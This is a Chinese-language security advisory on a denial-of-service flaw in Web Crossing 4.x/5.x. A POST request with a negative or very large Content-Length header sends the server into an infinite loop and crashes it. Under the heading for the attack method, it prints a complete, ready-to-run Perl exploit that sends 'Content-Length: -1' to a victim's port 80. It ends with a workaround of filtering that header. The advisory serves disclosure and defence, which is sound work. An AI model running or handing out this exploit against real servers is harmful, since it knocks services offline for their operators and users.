Web Crossing 4.x/5.x 拒绝服务漏洞
涉及程序:
Web Crossing 4.x/5.x
描述:
Web Crossing 4.x/5.x 拒绝服务漏洞
详细: web crossing 是世界上的主流服务器合作平台,提供包括讨论小组/ 布告牌的解决办案,综合的新闻组和邮寄名单,详尽的电子邮件服务,日历服务,实时聊天, 现场实况和整个web应用编程特征。
Web Crossing 4.x/5.x对用户请求缺乏过滤,当web-crossing的内嵌式服务器应用程序接到一个HTTP POST的请求的指令时,如果“Content-Length”为这个请求提供一个很大的数或者是负数时,服务器将接到一系列的指令导致无限循环问题,导致服务器因拒绝服务而崩溃。
这种恶意指令可以在at 0090121F中找到:0090121F F7F9 IDIV ECX
攻击方法:
#!/usr/bin/perl -w
#
# Web Crossing 4.x\5.x Denial of Service Exploit
# [ Bad 'Content-Length' Header Bug ]
#
# - by Peter Winter-Smith [peter4020_at_hotmail.com]
use IO::Socket;
if(!($ARGV[0]))
{
print "Usage: wxdos.pl <victim>\n";
exit;
}
print "Web Crossing 4.x\\5.x Denial of Service Exploit\n" .
"\t[ Bad 'Content-Length' Header Bug ]\n" .
"\t[peter4020\@hotmail.com]\n\n";
$victim = IO::Socket::INET->new(Proto=>'tcp', PeerAddr=>$ARGV[0],
PeerPort=>"80")
or die "Unable to connect to $ARGV[0] on " .
"port 80";
$DoS = "POST / HTTP/1.1\r\n" .
"Content-Length: -1\r\n\r\n";
print $victim $DoS;
print "[+] Evil request made to target server ... Waiting...!\n";
sleep(4);
close($victim);
print "[+] Done!\n";
exit;
解决方案:
web-crossing已经得到通知,但目前还没有提供解决方案,建议用户随时关注厂商站点以获取最近补丁或解决方案:
http://www.webcrossing.com
临时解决方案:
通过一些其它应用程序过滤掉'Content-Length'报头